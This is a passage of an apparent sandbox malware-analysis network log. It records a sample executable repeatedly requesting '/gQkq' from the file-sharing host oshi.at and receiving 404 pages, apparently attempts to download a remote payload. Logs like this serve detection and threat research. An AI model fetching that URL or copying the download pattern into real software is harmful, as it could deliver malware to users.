                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                54192.168.2.950032194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:51:35 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:51:36 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:51:35 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:51:36 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                55192.168.2.950033194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:51:37 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:51:38 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:51:38 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:51:38 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                56192.168.2.950034194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:51:40 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:51:41 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:51:40 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:51:41 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                57192.168.2.950035194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:51:42 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:51:42 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:51:42 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:51:42 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                58192.168.2.950036194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:51:47 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:51:47 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:51:47 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:51:47 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                59192.168.2.950037194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:51:49 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:51:50 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:51:50 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:51:50 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                60192.168.2.950038194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:51:51 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:51:52 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:51:52 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:51:52 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                61192.168.2.950039194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:51:56 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:51:57 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:51:56 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:51:57 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                62192.168.2.950040194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:51:58 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:51:58 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:51:58 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:51:58 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                63192.168.2.950041194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:00 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:52:01 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:01 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:01 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                64192.168.2.950042194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:03 UTC61OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                Connection: Keep-Alive
                                                                2025-01-10 17:52:04 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:03 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:04 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                65192.168.2.950043194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:05 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:52:05 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:05 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:05 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                66192.168.2.950044194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:07 UTC61OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                Connection: Keep-Alive
                                                                2025-01-10 17:52:07 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:07 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:07 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                67192.168.2.950045194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:09 UTC61OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                Connection: Keep-Alive
                                                                2025-01-10 17:52:10 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:09 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:10 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                68192.168.2.950046194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:14 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:52:15 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:15 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
